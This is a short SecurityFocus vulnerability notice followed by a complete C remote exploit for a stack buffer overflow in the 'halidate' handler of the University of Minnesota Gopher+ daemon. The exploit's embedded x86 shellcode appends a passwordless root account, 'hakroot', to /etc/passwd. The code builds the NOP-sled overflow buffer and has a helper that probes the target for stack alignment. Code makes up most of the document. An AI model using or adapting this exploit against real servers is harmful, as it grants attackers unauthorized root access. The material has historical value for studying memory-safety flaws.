// source: https://www.securityfocus.com/bid/1591/info
It is possible to either execute arbitrary code or crash a remote system running University of Minnesota's Gopher Daemon, depending on the data entered. An unchecked buffer exists in the 'halidate' function of Gopherd, where the 512 byte buffer can be overwritten with approximately 600 bytes of data.
/* (linux)Gopher+[v2.3.1p0-]: Daemon remote buffer
overflow.
Findings and exploit by: v9[v9@fakehalo.org].
(vade79)
It is possible to exploit an unchecked sprintf call
in the
"halidate" option in gopherd.c. This exploit will
attempt
to write a line to /etc/passwd. (as a
superuser)
The gopher+ daemon has multiple overflows in
different
functions, but most overwrite the pointer(s) with
hardcoded
data from the program which are limited.
But, the
"halidate" option/call was a little hidden suprise
for me.
When the exploit is sucessfully executed it adds the
line:
"hakroot::0:0:hacked:/:/bin/sh" to /etc/passwd,
with no
0x0A return, which could cause some problems in
some
situations. You may have to wait till someone on
the box
modifies their /etc/passwd by adding a user or what
not.
Syntax:
[syntax]: ./xgopher <target> [port] [offset]
[alignment].
[syntax]: ./xgopher <target> <[port] [-getalignment]>.
Explaination:
If you don't know what the alignment of the server is,
(which
isn't expected *g*) just type "./xgopher hostname
[port]
-getalignment" and with aligment you're given type
"./xgopher
hostname <port> <offset> <alignment response you are
given>".
Info:
The following segment is from gopherd.c [line
1076/3453]:
("pathname" in the code segment is supplied by the
user)
--------------------------------------------------------------------------------
void
OutputAuthForm(int sockfd, char *pathname, char *host, int
port, CMDprotocol p)
{
char tmpbuf[512];
...
sprintf(tmpbuf,
"<FORM METHOD=\"GET\"
ACTION=\"http://%s:%d/halidate%%20%s\">\r\n",
host, port, pathname);
...
}
--------------------------------------------------------------------------------
Notes:
This exploit requires that the service is running as
root(to
write to /etc/passwd). Even if the gopher+ daemon
displays
itself running as another user, as long as it's
process is
running as root(uid=0) it should exploit successfully.
Do to
the servers local host+port character lengths
changing the
alignment will almost never be the same, I recommend
using
the -getalignment parameter. You can play as much
as you
want on this, the process is forked and won't
crash the
gopher+ daemon with invalid pointers. This was also
tested
effective on the 2.3 version of the gopher+
daemon.
Although this exploit is for linux servers, gopher+
isn't
just built for linux, it is also supported for BSD,
Solaris,
SunOS, HP-UX and other operation
systems.
Fix:
Compile with "./configure --disable-auth" (isn't
disabled by
default) and then recompile gopher or wait for a
patch.
Tests:
Built and tested on slackware 3.6 and slackware 7.0
linux.
(with lots of junk added to my /etc/passwd
*g*)
*/
#define BSIZE 512 // buffer size. (tmpbuf[512]
minus server data)
#define PADDING 150 // ret reps. (host+port
length guessing room)
#define POINTER 0xbffff65c // base pointer in which
offsets are added.
#define DEFAULT_PORT 70 // default gopher+ daemon
port.
#define DEFAULT_OFFSET 0 // default offset. (argument
is added)
#define DEFAULT_ALIGN 0 // alignment. (depends on
host+port length)
#define TIMEOUT 5 // connection timeout time.
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
static char exec[]= // appends
"hakroot::0:0:hacked:/:/bin/sh" to /etc/passwd.
"\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb\x30\xe4\x88"
"\x63\x0b\x31\xc9\x66\xb9\x01\x04\x31\xd2\x66\xba\xa4\x01\x31\xc0\xb0\x05\xcd"
"\x80\x89\xc3\x31\xc9\xb1\x5b\x01\xf9\x31\xd2\xb2\x1d\x31\xc0\xb0\x04\xcd\x80"
"\x31\xc0\xb0\x01\xcd\x80\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x01\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x68\x61\x6b\x72\x6f\x6f\x74\x3a\x3a\x30\x3a\x30\x3a"
"\x68\x61\x63\x6b\x65\x64\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68";
void timeout(){printf("[timeout]: Connection
timeout(%d).\n",TIMEOUT);quit(-1);}
int main(int argc,char **argv){
char bof[BSIZE];
int i,sock,port,offset,align,ga=0;
long ret=DEFAULT_OFFSET;
struct hostent *t;
struct sockaddr_in s;
printf("*** (linux)Gopherd+[v2.3.1p0-]: Remote buffer
overflow, by: v9[v9@fake"
"halo.org].\n");
if(argc<2){
printf("[syntax]: %s <target> [port] [offset]
[alignment].\n",argv[0]);
printf("[syntax]: %s <target> <[port]
[-getalignment]>.\n",argv[0]);
quit(0);
}
if(argc>2){
if(!strcmp(argv[2],"-getalignment")){ga=1;port=DEFAULT_PORT;}
else{port=atoi(argv[2]);}
}
else{port=DEFAULT_PORT;}
if(argc>3){
if(!strcmp(argv[3],"-getalignment")){ga=1;}
else{offset=atoi(argv[3]);}
}
else{offset=DEFAULT_OFFSET;}
if(argc>4){
if(atoi(argv[4])<0||atoi(argv[4])>3){
printf("[ignored]: Invalid alignment, using default
alignment. (0-3)\n");
align=DEFAULT_ALIGN;
}
else{align=atoi(argv[4]);}
}
else{align=DEFAULT_ALIGN;}
if(ga){getalignment(argv[1],port);}
else{
ret=(POINTER+offset);
printf("[stats]: Addr: 0x%lx, Offset: %d, Align: %d, Size:
%d, Padding: %d.\n"
,ret,offset,align,BSIZE,PADDING);
for(i=align;i<BSIZE;i+=4){*(long *)&bof[i]=ret;}
for(i=0;i<(BSIZE-strlen(exec)-PADDING);i++){*(bof+i)=0x90;}
memcpy(bof+i,exec,strlen(exec));
memcpy(bof,"halidate ",9);
bof[BSIZE]='\0';
if(s.sin_addr.s_addr=inet_addr(argv[1])){
if(!(t=gethostbyname(argv[1]))){
printf("[error]: Couldn't resolve. (%s)\n",argv[1]);
quit(-1);
}
memcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr));
}
s.sin_family=AF_INET;
s.sin_port=htons(port);
sock=socket(AF_INET,SOCK_STREAM,0);
signal(SIGALRM,timeout);
printf("[data]: Attempting to connect to %s on port
%d.\n",argv[1],port);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){
printf("[error]: Connection failed. (port=%d)\n",port);
quit(-1);
}
alarm(0);
printf("[data]: Connected successfully.
(port=%d)\n",port);
printf("[data]: Sending buffer(%d) to
server.\n",strlen(bof));
write(sock,bof,strlen(bof));
usleep(500000);
printf("[data]: Closing socket.\n");
close(sock);
}
quit(0);
}
int getalignment(char *target,int port){
char buf[1024];
int i,j,si,sock,math;
struct hostent *t;
struct sockaddr_in s;
if(s.sin_addr.s_addr=inet_addr(target)){
if(!(t=gethostbyname(target))){
printf("[error]: Couldn't resolve. (%s)\n",target);
quit(-1);
}
memcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr));
}
s.sin_family=AF_INET;
s.sin_port=htons(port);
sock=socket(AF_INET,SOCK_STREAM,0);
signal(SIGALRM,timeout);
printf("[data]: Attempting to connect to %s on port
%d.\n",target,port);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){
printf("[error]: Connection failed. (port=%d)\n",port);
quit(-1);
}
alarm(0);
printf("[data]: Connected successfully. (port=%d)\n",port);
alarm(TIMEOUT);
write(sock,"halidate \n",10);
for(i=0;i<2;i++){if(!read(sock,buf,1024)){si++;}}
i=0;while(buf[i]&&!(buf[i]==0x4E)){i++;}
j=0;while(buf[j]&&!(buf[j]==0x25)){j++;}
usleep(500000);
printf("[data]: Closing socket.\n");
close(sock);
if(!si||i>=j||strlen(buf)<64){
printf("[error]: Too minimal or invalid data recieved to
calculate. (try agai"
"n?)\n");
quit(-1);
}
else{
math=(i-j-2);
while(math<0){math+=4;}
printf("[data]: Alignment calculation: %d.\n",math);
}
}
int quit(int i){
if(i){
printf("[exit]: Dirty exit.\n");
exit(0);
}
else{
printf("[exit]: Clean exit.\n");
exit(-1);
}
}